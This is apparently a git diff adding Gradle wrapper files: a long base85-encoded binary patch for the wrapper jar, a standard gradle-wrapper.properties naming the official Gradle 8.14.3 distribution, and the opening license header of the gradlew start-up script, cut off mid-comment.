zHttjwC&fkVfMnQeen8`Rvy^$pNRFVaiEN4Pih*Y3@jo!T0nsClN)pdrr9AYLcZxZ| zJ5Wlj+4q~($hbtuY zVQ7hl>4-+@6g1i`1a)rvtp-;b0>^`Dloy(#{z~ytgv=j4q^Kl}wD>K_Y!l~ zp(_&7sh`vfO(1*MO!B%<6E_bx1)&s+Ae`O)a|X=J9y~XDa@UB`m)`tSG4AUhoM=5& znWoHlA-(z@3n0=l{E)R-p8sB9XkV zZ#D8wietfHL?J5X0%&fGg@MH~(rNS2`GHS4xTo7L$>TPme+Is~!|79=^}QbPF>m%J zFMkGzSndiPO|E~hrhCeo@&Ea{M(ieIgRWMf)E}qeTxT8Q#g-!Lu*x$v8W^M^>?-g= zwMJ$dThI|~M06rG$Sv@C@tWR>_YgaG&!BAbkGggVQa#KdtDB)lMLNVLN|51C@F^y8 zCRvMB^{GO@j=cHfmy}_pCGbP%xb{pNN>? z?7tBz$1^zVaP|uaatYaIN+#xEN4jBzwZ|YI_)p(4CUAz1ZEbDk>J~Y|63SZaak~#0 zoYKruYsWHoOlC1(MhTnsdUOwQfz5p6-D0}4;DO$B;7#M{3lSE^jnTT;ns`>!G%i*F?@pR1JO{QTuD0U+~SlZxcc8~>IB{)@8p`P&+nDxNj`*gh|u?yrv$phpQcW)Us)bi`kT%qLj(fi{dWRZ%Es2!=3mI~UxiW0$-v3vUl?#g{p6eF zMEUAqo5-L0Ar(s{VlR9g=j7+lt!gP!UN2ICMokAZ5(Agd>})#gkA2w|5+<%-CuEP# zqgcM}u@3(QIC^Gx<2dbLj?cFSws_f3e%f4jeR?4M^M3cx1f+Qr6ydQ>n)kz1s##2w zk}UyQc+Z5G-d-1}{WzjkLXgS-2P7auWSJ%pSnD|Uivj5u!xk0 z_^-N9r9o;(rFDt~q1PvE#iJZ_f>J3gcP$)SOqhE~pD2|$=GvpL^d!r z6u=sp-CrMoF7;)}Zd7XO4XihC4ji?>V&(t^?@3Q&t9Mx=qex6C9d%{FE6dvU6%d94 zIE;hJ1J)cCqjv?F``7I*6bc#X)JW2b4f$L^>j{*$R`%5VHFi*+Q$2;nyieduE}qdS{L8y8F08yLs?w}{>8>$3236T-VMh@B zq-nujsb_1aUv_7g#)*rf9h%sFj*^mIcImRV*k~Vmw;%;YH(&ylYpy!&UjUVqqtfG` zox3esju?`unJJA_zKXRJP)rA3nXc$m^{S&-p|v|-0x9LHJm;XIww7C#R$?00l&Yyj z=e}gKUOpsImwW?N)+E(awoF@HyP^EhL+GlNB#k?R<2>95hz!h9sF@U20DHSB3~WMa zk90+858r@-+vWwkawJ)8ougd(i#1m3GLN{iSTylYz$brAsP%=&m$mQQrH$g%3-^VR zE%B`Vi&m8f3T~&myTEK28BDWCVzfWir1I?03;pX))|kY5ClO^+bae z*7E?g=3g7EiisYOrE+lA)2?Ln6q2*HLNpZEWMB|O-JI_oaHZB%CvYB(%=tU= zE*OY%QY58fW#RG5=gm0NR#iMB=EuNF@)%oZJ}nmm=tsJ?eGjia{e{yuU0l3{d^D@)kVDt=1PE)&tf_hHC%0MB znL|CRCPC}SeuVTdf>-QV70`0(EHizc21s^sU>y%hW0t!0&y<7}Wi-wGy>m%(-jsDj zP?mF|>p_K>liZ6ZP(w5(|9Ga%>tLgb$|doDDfkdW>Z z`)>V2XC?NJT26mL^@ zf+IKr27TfM!UbZ@?zRddC7#6ss1sw%CXJ4FWC+t3lHZupzM77m^=9 z&(a?-LxIq}*nvv)y?27lZ{j zifdl9hyJudyP2LpU$-kXctshbJDKS{WfulP5Dk~xU4Le4c#h^(YjJit4#R8_khheS z|8(>2ibaHES4+J|DBM7I#QF5u-*EdN{n=Kt@4Zt?@Tv{JZA{`4 zU#kYOv{#A&gGPwT+$Ud}AXlK3K7hYzo$(fBSFjrP{QQ zeaKg--L&jh$9N}`pu{Bs>?eDFPaWY4|9|foN%}i;3%;@4{dc+iw>m}{3rELqH21G! z`8@;w-zsJ1H(N3%|1B@#ioLOjib)j`EiJqPQVSbPSPVHCj6t5J&(NcWzBrzCiDt{4 zdlPAUKldz%6x5II1H_+jv)(xVL+a;P+-1hv_pM>gMRr%04@k;DTokASSKKhU1Qms| zrWh3a!b(J3n0>-tipg{a?UaKsP7?+|@A+1WPDiQIW1Sf@qDU~M_P65_s}7(gjTn0X zucyEm)o;f8UyshMy&>^SC3I|C6jR*R_GFwGranWZe*I>K+0k}pBuET&M~ z;Odo*ZcT?ZpduHyrf8E%IBFtv;JQ!N_m>!sV6ly$_1D{(&nO~w)G~Y`7sD3#hQk%^ zp}ucDF_$!6DAz*PM8yE(&~;%|=+h(Rn-=1Wykas_-@d&z#=S}rDf`4w(rVlcF&lF! z=1)M3YVz7orwk^BXhslJ8jR);sh^knJW(Qmm(QdSgIAIdlN4Te5KJisifjr?eB{FjAX1a0AB>d?qY4Wx>BZ8&}5K0fA+d{l8 z?^s&l8#j7pR&ijD?0b%;lL9l$P_mi2^*_OL+b}4kuLR$GAf85sOo02?Y#90}CCDiS zZ%rbCw>=H~CBO=C_JVV=xgDe%b4FaEFtuS7Q1##y686r%F6I)s-~2(}PWK|Z8M+Gu zl$y~5@#0Ka%$M<&Cv%L`a8X^@tY&T7<0|(6dNT=EsRe0%kp1Qyq!^43VAKYnr*A5~ zsI%lK1ewqO;0TpLrT9v}!@vJK{QoVa_+N4FYT#h?Y8rS1S&-G+m$FNMP?(8N`MZP zels(*?kK{{^g9DOzkuZXJ2;SrOQsp9T$hwRB1(phw1c7`!Q!by?Q#YsSM#I12RhU{$Q+{xj83axHcftEc$mNJ8_T7A-BQc*k(sZ+~NsO~xAA zxnbb%dam_fZlHvW7fKXrB~F&jS<4FD2FqY?VG?ix*r~MDXCE^WQ|W|WM;gsIA4lQP zJ2hAK@CF*3*VqPr2eeg6GzWFlICi8S>nO>5HvWzyZTE)hlkdC_>pBej*>o0EOHR|) z$?};&I4+_?wvL*g#PJ9)!bc#9BJu1(*RdNEn>#Oxta(VWeM40ola<0aOe2kSS~{^P zDJBd}0L-P#O-CzX*%+$#v;(x%<*SPgAje=F{Zh-@ucd2DA(yC|N_|ocs*|-!H%wEw z@Q!>siv2W;C^^j^59OAX03&}&D*W4EjCvfi(ygcL#~t8XGa#|NPO+*M@Y-)ctFA@I z-p7npT1#5zOLo>7q?aZpCZ=iecn3QYklP;gF0bq@>oyBq94f6C=;Csw3PkZ|5q=(c zfs`aw?II0e(h=|7o&T+hq&m$; zBrE09Twxd9BJ2P+QPN}*OdZ-JZV7%av@OM7v!!NL8R;%WFq*?{9T3{ct@2EKgc8h) zMxoM$SaF#p<`65BwIDfmXG6+OiK0e)`I=!A3E`+K@61f}0e z!2a*FOaDrOe>U`q%K!QN`&=&0C~)CaL3R4VY(NDt{Xz(Xpqru5=r#uQN1L$Je1*dkdqQ*=lofQaN%lO!<5z9ZlHgxt|`THd>2 zsWfU$9=p;yLyJyM^t zS2w9w?Bpto`@H^xJpZDKR1@~^30Il6oFGfk5%g6w*C+VM)+%R@gfIwNprOV5{F^M2 zO?n3DEzpT+EoSV-%OdvZvNF+pDd-ZVZ&d8 zKeIyrrfPN=EcFRCPEDCVflX#3-)Ik_HCkL(ejmY8vzcf-MTA{oHk!R2*36`O68$7J zf}zJC+bbQk--9Xm!u#lgLvx8TXx2J258E5^*IZ(FXMpq$2LUUvhWQPs((z1+2{Op% z?J}9k5^N=z;7ja~zi8a_-exIqWUBJwohe#4QJ`|FF*$C{lM18z^#hX6!5B8KAkLUX ziP=oti-gpV(BsLD{0(3*dw}4JxK23Y7M{BeFPucw!sHpY&l%Ws4pSm`+~V7;bZ%Dx zeI)MK=4vC&5#;2MT7fS?^ch9?2;%<8Jlu-IB&N~gg8t;6S-#C@!NU{`p7M8@2iGc& zg|JPg%@gCoCQ&s6JvDU&`X2S<57f(k8nJ1wvBu{8r?;q3_kpZZ${?|( z+^)UvR33sjSd)aT!UPkA;ylO6{aE3MQa{g%Mcf$1KONcjO@&g5zPHWtzM1rYC{_K> zgQNcs<{&X{OA=cEWw5JGqpr0O>x*Tfak2PE9?FuWtz^DDNI}rwAaT0(bdo-<+SJ6A z&}S%boGMWIS0L}=S>|-#kRX;e^sUsotry(MjE|3_9duvfc|nwF#NHuM-w7ZU!5ei8 z6Mkf>2)WunY2eU@C-Uj-A zG(z0Tz2YoBk>zCz_9-)4a>T46$(~kF+Y{#sA9MWH%5z#zNoz)sdXq7ZR_+`RZ%0(q zC7&GyS_|BGHNFl8Xa%@>iWh%Gr?=J5<(!OEjauj5jyrA-QXBjn0OAhJJ9+v=!LK`` z@g(`^*84Q4jcDL`OA&ZV60djgwG`|bcD*i50O}Q{9_noRg|~?dj%VtKOnyRs$Uzqg z191aWoR^rDX#@iSq0n z?9Sg$WSRPqSeI<}&n1T3!6%Wj@5iw5`*`Btni~G=&;J+4`7g#OQTa>u`{4ZZ(c@s$ zK0y;ySOGD-UTjREKbru{QaS>HjN<2)R%Nn-TZiQ(Twe4p@-saNa3~p{?^V9Nixz@a zykPv~<@lu6-Ng9i$Lrk(xi2Tri3q=RW`BJYOPC;S0Yly%77c727Yj-d1vF!Fuk{Xh z)lMbA69y7*5ufET>P*gXQrxsW+ zz)*MbHZv*eJPEXYE<6g6_M7N%#%mR{#awV3i^PafNv(zyI)&bH?F}2s8_rR(6%!V4SOWlup`TKAb@ee>!9JKPM=&8g#BeYRH9FpFybxBXQI2|g}FGJfJ+ zY-*2hB?o{TVL;Wt_ek;AP5PBqfDR4@Z->_182W z{P@Mc27j6jE*9xG{R$>6_;i=y{qf(c`5w9fa*`rEzX6t!KJ(p1H|>J1pC-2zqWENF zmm=Z5B4u{cY2XYl(PfrInB*~WGWik3@1oRhiMOS|D;acnf-Bs(QCm#wR;@Vf!hOPJ zgjhDCfDj$HcyVLJ=AaTbQ{@vIv14LWWF$=i-BDoC11}V;2V8A`S>_x)vIq44-VB-v z*w-d}$G+Ql?En8j!~ZkCpQ$|cA0|+rrY>tiCeWxkRGPoarxlGU2?7%k#F693RHT24 z-?JsiXlT2PTqZqNb&sSc>$d;O4V@|b6VKSWQb~bUaWn1Cf0+K%`Q&Wc<>mQ>*iEGB zbZ;aYOotBZ{vH3y<0A*L0QVM|#rf*LIsGx(O*-7)r@yyBIzJnBFSKBUSl1e|8lxU* zzFL+YDVVkIuzFWeJ8AbgN&w(4-7zbiaMn{5!JQXu)SELk*CNL+Fro|2v|YO)1l15t zs(0^&EB6DPMyaqvY>=KL>)tEpsn;N5Q#yJj<9}ImL((SqErWN3Q=;tBO~ExTCs9hB z2E$7eN#5wX4<3m^5pdjm#5o>s#eS_Q^P)tm$@SawTqF*1dj_i#)3};JslbLKHXl_N z)Fxzf>FN)EK&Rz&*|6&%Hs-^f{V|+_vL1S;-1K-l$5xiC@}%uDuwHYhmsV?YcOUlk zOYkG5v2+`+UWqpn0aaaqrD3lYdh0*!L`3FAsNKu=Q!vJu?Yc8n|CoYyDo_`r0mPoo z8>XCo$W4>l(==h?2~PoRR*kEe)&IH{1sM41mO#-36`02m#nTX{r*r`Q5rZ2-sE|nA zhnn5T#s#v`52T5|?GNS`%HgS2;R(*|^egNPDzzH_z^W)-Q98~$#YAe)cEZ%vge965AS_am#DK#pjPRr-!^za8>`kksCAUj(Xr*1NW5~e zpypt_eJpD&4_bl_y?G%>^L}=>xAaV>KR6;^aBytqpiHe%!j;&MzI_>Sx7O%F%D*8s zSN}cS^<{iiK)=Ji`FpO#^zY!_|D)qeRNAtgmH)m;qC|mq^j(|hL`7uBz+ULUj37gj zksdbnU+LSVo35riSX_4z{UX=%n&}7s0{WuZYoSfwAP`8aKN9P@%e=~1`~1ASL-z%# zw>DO&ixr}c9%4InGc*_y42bdEk)ZdG7-mTu0bD@_vGAr*NcFoMW;@r?@LUhRI zCUJgHb`O?M3!w)|CPu~ej%fddw20lod?Ufp8Dmt0PbnA0J%KE^2~AIcnKP()025V> zG>noSM3$5Btmc$GZoyP^v1@Poz0FD(6YSTH@aD0}BXva?LphAiSz9f&Y(aDAzBnUh z?d2m``~{z;{}kZJ>a^wYI?ry(V9hIoh;|EFc0*-#*`$T0DRQ1;WsqInG;YPS+I4{g zJGpKk%%Sdc5xBa$Q^_I~(F97eqDO7AN3EN0u)PNBAb+n+ zWBTxQx^;O9o0`=g+Zrt_{lP!sgWZHW?8bLYS$;1a@&7w9rD9|Ge;Gb?sEjFoF9-6v z#!2)t{DMHZ2@0W*fCx;62d#;jouz`R5Y(t{BT=$N4yr^^o$ON8d{PQ=!O zX17^CrdM~7D-;ZrC!||<+FEOxI_WI3CA<35va%4v>gc zEX-@h8esj=a4szW7x{0g$hwoWRQG$yK{@3mqd-jYiVofJE!Wok1* znV7Gm&Ssq#hFuvj1sRyHg(6PFA5U*Q8Rx>-blOs=lb`qa{zFy&n4xY;sd$fE+<3EI z##W$P9M{B3c3Si9gw^jlPU-JqD~Cye;wr=XkV7BSv#6}DrsXWFJ3eUNrc%7{=^sP> zrp)BWKA9<}^R9g!0q7yWlh;gr_TEOD|#BmGq<@IV;ueg+D2}cjpp+dPf&Q(36sFU&K8}hA85U61faW&{ zlB`9HUl-WWCG|<1XANN3JVAkRYvr5U4q6;!G*MTdSUt*Mi=z_y3B1A9j-@aK{lNvx zK%p23>M&=KTCgR!Ee8c?DAO2_R?B zkaqr6^BSP!8dHXxj%N1l+V$_%vzHjqvu7p@%Nl6;>y*S}M!B=pz=aqUV#`;h%M0rU zHfcog>kv3UZAEB*g7Er@t6CF8kHDmKTjO@rejA^ULqn!`LwrEwOVmHx^;g|5PHm#B zZ+jjWgjJ!043F+&#_;D*mz%Q60=L9Ove|$gU&~As5^uz@2-BfQ!bW)Khn}G+Wyjw- z19qI#oB(RSNydn0t~;tAmK!P-d{b-@@E5|cdgOS#!>%#Rj6ynkMvaW@37E>@hJP^8 z2zk8VXx|>#R^JCcWdBCy{0nPmYFOxN55#^-rlqobe0#L6)bi?E?SPymF*a5oDDeSd zO0gx?#KMoOd&G(2O@*W)HgX6y_aa6iMCl^~`{@UR`nMQE`>n_{_aY5nA}vqU8mt8H z`oa=g0SyiLd~BxAj2~l$zRSDHxvDs;I4>+M$W`HbJ|g&P+$!U7-PHX4RAcR0szJ*( ze-417=bO2q{492SWrqDK+L3#ChUHtz*@MP)e^%@>_&#Yk^1|tv@j4%3T)diEX zATx4K*hcO`sY$jk#jN5WD<=C3nvuVsRh||qDHnc~;Kf59zr0;c7VkVSUPD%NnnJC_ zl3F^#f_rDu8l}l8qcAz0FFa)EAt32IUy_JLIhU_J^l~FRH&6-ivSpG2PRqzDdMWft>Zc(c)#tb%wgmWN%>IOPm zZi-noqS!^Ftb81pRcQi`X#UhWK70hy4tGW1mz|+vI8c*h@ zfFGJtW3r>qV>1Z0r|L>7I3un^gcep$AAWfZHRvB|E*kktY$qQP_$YG60C@X~tTQjB3%@`uz!qxtxF+LE!+=nrS^07hn` zEgAp!h|r03h7B!$#OZW#ACD+M;-5J!W+{h|6I;5cNnE(Y863%1(oH}_FTW})8zYb$7czP zg~Szk1+_NTm6SJ0MS_|oSz%e(S~P-&SFp;!k?uFayytV$8HPwuyELSXOs^27XvK-D zOx-Dl!P|28DK6iX>p#Yb%3`A&CG0X2S43FjN%IB}q(!hC$fG}yl1y9W&W&I@KTg6@ zK^kpH8=yFuP+vI^+59|3%Zqnb5lTDAykf z9S#X`3N(X^SpdMyWQGOQRjhiwlj!0W-yD<3aEj^&X%=?`6lCy~?`&WSWt z?U~EKFcCG_RJ(Qp7j=$I%H8t)Z@6VjA#>1f@EYiS8MRHZphp zMA_5`znM=pzUpBPO)pXGYpQ6gkine{6u_o!P@Q+NKJ}k!_X7u|qfpAyIJb$_#3@wJ z<1SE2Edkfk9C!0t%}8Yio09^F`YGzpaJHGk*-ffsn85@)%4@`;Fv^8q(-Wk7r=Q8p zT&hD`5(f?M{gfzGbbwh8(}G#|#fDuk7v1W)5H9wkorE0ZZjL0Q1=NRGY>zwgfm81DdoaVwNH;or{{eSyybt)m<=zXoA^RALYG-2t zouH|L*BLvmm9cdMmn+KGopyR@4*=&0&4g|FLoreZOhRmh=)R0bg~ zT2(8V_q7~42-zvb)+y959OAv!V$u(O3)%Es0M@CRFmG{5sovIq4%8Ahjk#*5w{+)+ zMWQoJI_r$HxL5km1#6(e@{lK3Udc~n0@g`g$s?VrnQJ$!oPnb?IHh-1qA`Rz$)Ai< z6w$-MJW-gKNvOhL+XMbE7&mFt`x1KY>k4(!KbbpZ`>`K@1J<(#vVbjx@Z@(6Q}MF# zMnbr-f55(cTa^q4+#)=s+ThMaV~E`B8V=|W_fZWDwiso8tNMTNse)RNBGi=gVwgg% zbOg8>mbRN%7^Um-7oj4=6`$|(K7!+t^90a{$18Z>}<#!bm%ZEFQ{X(yBZMc>lCz0f1I2w9Sq zuGh<9<=AO&g6BZte6hn>Qmvv;Rt)*cJfTr2=~EnGD8P$v3R|&1RCl&7)b+`=QGapi zPbLg_pxm`+HZurtFZ;wZ=`Vk*do~$wB zxoW&=j0OTbQ=Q%S8XJ%~qoa3Ea|au5o}_(P;=!y-AjFrERh%8la!z6Fn@lR?^E~H12D?8#ht=1F;7@o4$Q8GDj;sSC%Jfn01xgL&%F2 zwG1|5ikb^qHv&9hT8w83+yv&BQXOQyMVJSBL(Ky~p)gU3#%|blG?IR9rP^zUbs7rOA0X52Ao=GRt@C&zlyjNLv-} z9?*x{y(`509qhCV*B47f2hLrGl^<@SuRGR!KwHei?!CM10Tq*YDIoBNyRuO*>3FU? zHjipIE#B~y3FSfOsMfj~F9PNr*H?0oHyYB^G(YyNh{SxcE(Y-`x5jFMKb~HO*m+R% zrq|ic4fzJ#USpTm;X7K+E%xsT_3VHKe?*uc4-FsILUH;kL>_okY(w`VU*8+l>o>Jm ziU#?2^`>arnsl#)*R&nf_%>A+qwl%o{l(u)M?DK1^mf260_oteV3#E_>6Y4!_hhVD zM8AI6MM2V*^_M^sQ0dmHu11fy^kOqXqzpr?K$`}BKWG`=Es(9&S@K@)ZjA{lj3ea7_MBP zk(|hBFRjHVMN!sNUkrB;(cTP)T97M$0Dtc&UXSec<+q?y>5=)}S~{Z@ua;1xt@=T5 zI7{`Z=z_X*no8s>mY;>BvEXK%b`a6(DTS6t&b!vf_z#HM{Uoy_5fiB(zpkF{})ruka$iX*~pq1ZxD?q68dIo zIZSVls9kFGsTwvr4{T_LidcWtt$u{kJlW7moRaH6+A5hW&;;2O#$oKyEN8kx`LmG)Wfq4ykh+q{I3|RfVpkR&QH_x;t41Uw z`P+tft^E2B$domKT@|nNW`EHwyj>&}K;eDpe z1bNOh=fvIfk`&B61+S8ND<(KC%>y&?>opCnY*r5M+!UrWKxv0_QvTlJc>X#AaI^xo zaRXL}t5Ej_Z$y*|w*$6D+A?Lw-CO-$itm^{2Ct82-<0IW)0KMNvJHgBrdsIR0v~=H z?n6^}l{D``Me90`^o|q!olsF?UX3YSq^6Vu>Ijm>>PaZI8G@<^NGw{Cx&%|PwYrfw zR!gX_%AR=L3BFsf8LxI|K^J}deh0ZdV?$3r--FEX`#INxsOG6_=!v)DI>0q|BxT)z z-G6kzA01M?rba+G_mwNMQD1mbVbNTWmBi*{s_v_Ft9m2Avg!^78(QFu&n6mbRJ2bA zv!b;%yo{g*9l2)>tsZJOOp}U~8VUH`}$ z8p_}t*XIOehezolNa-a2x0BS})Y9}&*TPgua{Ewn-=wVrmJUeU39EKx+%w%=ixQWK zDLpwaNJs65#6o7Ln7~~X+p_o2BR1g~VCfxLzxA{HlWAI6^H;`juI=&r1jQrUv_q0Z z1Ja-tjdktrrP>GOC*#p?*xfQU5MqjMsBe!9lh(u8)w$e@Z|>aUHI5o;MGw*|Myiz3 z-f0;pHg~Q#%*Kx8MxH%AluVXjG2C$)WL-K63@Q`#y9_k_+}eR(x4~dp7oV-ek0H>I zgy8p#i4GN{>#v=pFYUQT(g&b$OeTy-X_#FDgNF8XyfGY6R!>inYn8IR2RDa&O!(6< znXs{W!bkP|s_YI*Yx%4stI`=ZO45IK6rBs`g7sP40ic}GZ58s?Mc$&i`kq_tfci>N zIHrC0H+Qpam1bNa=(`SRKjixBTtm&e`j9porEci!zdlg1RI0Jw#b(_Tb@RQK1Zxr_ z%7SUeH6=TrXt3J@js`4iDD0=IoHhK~I7^W8^Rcp~Yaf>2wVe|Hh1bUpX9ATD#moByY57-f2Ef1TP^lBi&p5_s7WGG9|0T}dlfxOx zXvScJO1Cnq`c`~{Dp;{;l<-KkCDE+pmexJkd}zCgE{eF=)K``-qC~IT6GcRog_)!X z?fK^F8UDz$(zFUrwuR$qro5>qqn>+Z%<5>;_*3pZ8QM|yv9CAtrAx;($>4l^_$_-L z*&?(77!-=zvnCVW&kUcZMb6;2!83si518Y%R*A3JZ8Is|kUCMu`!vxDgaWjs7^0j( ziTaS4HhQ)ldR=r)_7vYFUr%THE}cPF{0H45FJ5MQW^+W>P+eEX2kLp3zzFe*-pFVA zdDZRybv?H|>`9f$AKVjFWJ=wegO7hOOIYCtd?Vj{EYLT*^gl35|HQ`R=ti+ADm{jyQE7K@kdjuqJhWVSks>b^ zxha88-h3s;%3_5b1TqFCPTxVjvuB5U>v=HyZ$?JSk+&I%)M7KE*wOg<)1-Iy)8-K! z^XpIt|0ibmk9RtMmlUd7#Ap3Q!q9N4atQy)TmrhrFhfx1DAN`^vq@Q_SRl|V z#lU<~n67$mT)NvHh`%als+G-)x1`Y%4Bp*6Un5Ri9h=_Db zA-AdP!f>f0m@~>7X#uBM?diI@)Egjuz@jXKvm zJo+==juc9_<;CqeRaU9_Mz@;3e=E4=6TK+c`|uu#pIqhSyNm`G(X)&)B`8q0RBv#> z`gGlw(Q=1Xmf55VHj%C#^1lpc>LY8kfA@|rlC1EA<1#`iuyNO z(=;irt{_&K=i4)^x%;U(Xv<)+o=dczC5H3W~+e|f~{*ucxj@{Yi-cw^MqYr3fN zF5D+~!wd$#al?UfMnz(@K#wn`_5na@rRr8XqN@&M&FGEC@`+OEv}sI1hw>Up0qAWf zL#e4~&oM;TVfjRE+10B_gFlLEP9?Q-dARr3xi6nQqnw>k-S;~b z;!0s2VS4}W8b&pGuK=7im+t(`nz@FnT#VD|!)eQNp-W6)@>aA+j~K*H{$G`y2|QHY z|Hmy+CR@#jWY4~)lr1qBJB_RfHJFfP<}pK5(#ZZGSqcpyS&}01LnTWk5fzmXMGHkJ zTP6L^B+uj;lmB_W<~4=${+v0>z31M!-_O@o-O9GyW)j_mjx}!0@br_LE-7SIuPP84 z;5=O(U*g_um0tyG|61N@d9lEuOeiRd+#NY^{nd5;-CVlw&Ap7J?qwM^?E29wvS}2d zbzar4Fz&RSR(-|s!Z6+za&Z zY#D<5q_JUktIzvL0)yq_kLWG6DO{ri=?c!y!f(Dk%G{8)k`Gym%j#!OgXVDD3;$&v@qy#ISJfp=Vm>pls@9-mapVQChAHHd-x+OGx)(*Yr zC1qDUTZ6mM(b_hi!TuFF2k#8uI2;kD70AQ&di$L*4P*Y-@p`jdm%_c3f)XhYD^6M8&#Y$ZpzQMcR|6nsH>b=*R_Von!$BTRj7yGCXokoAQ z&ANvx0-Epw`QIEPgI(^cS2f(Y85yV@ygI{ewyv5Frng)e}KCZF7JbR(&W618_dcEh(#+^zZFY;o<815<5sOHQdeax9_!PyM&;{P zkBa5xymca0#)c#tke@3KNEM8a_mT&1gm;p&&JlMGH(cL(b)BckgMQ^9&vRwj!~3@l zY?L5}=Jzr080OGKb|y`ee(+`flQg|!lo6>=H)X4`$Gz~hLmu2a%kYW_Uu8x09Pa0J zKZ`E$BKJ=2GPj_3l*TEcZ*uYRr<*J^#5pILTT;k_cgto1ZL-%slyc16J~OH-(RgDA z%;EjEnoUkZ&acS{Q8`{i6T5^nywgqQI5bDIymoa7CSZG|WWVk>GM9)zy*bNih|QIm z%0+(Nnc*a_xo;$=!HQYaapLms>J1ToyjtFByY`C2H1wT#178#4+|{H0BBqtCdd$L% z_3Hc60j@{t9~MjM@LBalR&6@>B;9?r<7J~F+WXyYu*y3?px*=8MAK@EA+jRX8{CG?GI-< z54?Dc9CAh>QTAvyOEm0^+x;r2BWX|{3$Y7)L5l*qVE*y0`7J>l2wCmW zL1?|a`pJ-l{fb_N;R(Z9UMiSj6pQjOvQ^%DvhIJF!+Th7jO2~1f1N+(-TyCFYQZYw z4)>7caf^Ki_KJ^Zx2JUb z&$3zJy!*+rCV4%jqwyuNY3j1ZEiltS0xTzd+=itTb;IPYpaf?8Y+RSdVdpacB(bVQ zC(JupLfFp8y43%PMj2}T|VS@%LVp>hv4Y!RPMF?pp8U_$xCJ)S zQx!69>bphNTIb9yn*_yfj{N%bY)t{L1cs8<8|!f$;UQ*}IN=2<6lA;x^(`8t?;+ST zh)z4qeYYgZkIy{$4x28O-pugO&gauRh3;lti9)9Pvw+^)0!h~%m&8Q!AKX%urEMnl z?yEz?g#ODn$UM`+Q#$Q!6|zsq_`dLO5YK-6bJM6ya>}H+vnW^h?o$z;V&wvuM$dR& zeEq;uUUh$XR`TWeC$$c&Jjau2it3#%J-y}Qm>nW*s?En?R&6w@sDXMEr#8~$=b(gk zwDC3)NtAP;M2BW_lL^5ShpK$D%@|BnD{=!Tq)o(5@z3i7Z){} zGr}Exom_qDO{kAVkZ*MbLNHE666Kina#D{&>Jy%~w7yX$oj;cYCd^p9zy z8*+wgSEcj$4{WxKmCF(5o7U4jqwEvO&dm1H#7z}%VXAbW&W24v-tS6N3}qrm1OnE)fUkoE8yMMn9S$?IswS88tQWm4#Oid#ckgr6 zRtHm!mfNl-`d>O*1~d7%;~n+{Rph6BBy^95zqI{K((E!iFQ+h*C3EsbxNo_aRm5gj zKYug($r*Q#W9`p%Bf{bi6;IY0v`pB^^qu)gbg9QHQ7 zWBj(a1YSu)~2RK8Pi#C>{DMlrqFb9e_RehEHyI{n?e3vL_}L>kYJC z_ly$$)zFi*SFyNrnOt(B*7E$??s67EO%DgoZL2XNk8iVx~X_)o++4oaK1M|ou73vA0K^503j@uuVmLcHH4ya-kOIDfM%5%(E z+Xpt~#7y2!KB&)PoyCA+$~DXqxPxxALy!g-O?<9+9KTk4Pgq4AIdUkl`1<1#j^cJg zgU3`0hkHj_jxV>`Y~%LAZl^3o0}`Sm@iw7kwff{M%VwtN)|~!p{AsfA6vB5UolF~d zHWS%*uBDt<9y!9v2Xe|au&1j&iR1HXCdyCjxSgG*L{wmTD4(NQ=mFjpa~xooc6kju z`~+d{j7$h-;HAB04H!Zscu^hZffL#9!p$)9>sRI|Yovm)g@F>ZnosF2EgkU3ln0bR zTA}|+E(tt)!SG)-bEJi_0m{l+(cAz^pi}`9=~n?y&;2eG;d9{M6nj>BHGn(KA2n|O zt}$=FPq!j`p&kQ8>cirSzkU0c08%8{^Qyqi-w2LoO8)^E7;;I1;HQ6B$u0nNaX2CY zSmfi)F`m94zL8>#zu;8|{aBui@RzRKBlP1&mfFxEC@%cjl?NBs`cr^nm){>;$g?rhKr$AO&6qV_Wbn^}5tfFBry^e1`%du2~o zs$~dN;S_#%iwwA_QvmMjh%Qo?0?rR~6liyN5Xmej8(*V9ym*T`xAhHih-v$7U}8=dfXi2i*aAB!xM(Xekg*ix@r|ymDw*{*s0?dlVys2e)z62u1 z+k3esbJE=-P5S$&KdFp+2H7_2e=}OKDrf( z9-207?6$@f4m4B+9E*e((Y89!q?zH|mz_vM>kp*HGXldO0Hg#!EtFhRuOm$u8e~a9 z5(roy7m$Kh+zjW6@zw{&20u?1f2uP&boD}$#Zy)4o&T;vyBoqFiF2t;*g=|1=)PxB z8eM3Mp=l_obbc?I^xyLz?4Y1YDWPa+nm;O<$Cn;@ane616`J9OO2r=rZr{I_Kizyc zP#^^WCdIEp*()rRT+*YZK>V@^Zs=ht32x>Kwe zab)@ZEffz;VM4{XA6e421^h~`ji5r%)B{wZu#hD}f3$y@L0JV9f3g{-RK!A?vBUA}${YF(vO4)@`6f1 z-A|}e#LN{)(eXloDnX4Vs7eH|<@{r#LodP@Nz--$Dg_Par%DCpu2>2jUnqy~|J?eZ zBG4FVsz_A+ibdwv>mLp>P!(t}E>$JGaK$R~;fb{O3($y1ssQQo|5M;^JqC?7qe|hg zu0ZOqeFcp?qVn&Qu7FQJ4hcFi&|nR!*j)MF#b}QO^lN%5)4p*D^H+B){n8%VPUzi! zDihoGcP71a6!ab`l^hK&*dYrVYzJ0)#}xVrp!e;lI!+x+bfCN0KXwUAPU9@#l7@0& QuEJmfE|#`Dqx|px0L@K;Y5)KL literal 0 HcmV?d00001 diff --git a/gradle/wrapper/gradle-wrapper.properties b/gradle/wrapper/gradle-wrapper.properties new file mode 100644 index 0000000..3ae1e2f --- /dev/null +++ b/gradle/wrapper/gradle-wrapper.properties @@ -0,0 +1,5 @@ +distributionBase=GRADLE_USER_HOME +distributionPath=wrapper/dists +distributionUrl=https\://services.gradle.org/distributions/gradle-8.14.3-bin.zip +zipStoreBase=GRADLE_USER_HOME +zipStorePath=wrapper/dists diff --git a/gradlew b/gradlew new file mode 100755 index 0000000..0adc8e1 --- /dev/null +++ b/gradlew @@ -0,0 +1,249 @@ +#!/bin/sh + +# +# Copyright © 2015-2021 the original authors. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# https://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +############################################################################## +# +# Gradle start up script for POSIX generated by Gradle. +# +# Important for running: +# +# (1) You need a POSIX-compliant shell to run this script. If your /bin/sh is +# noncompliant, but you have some other compliant shell such as ksh or +# bash, then to run this script, type that shell name before the whole 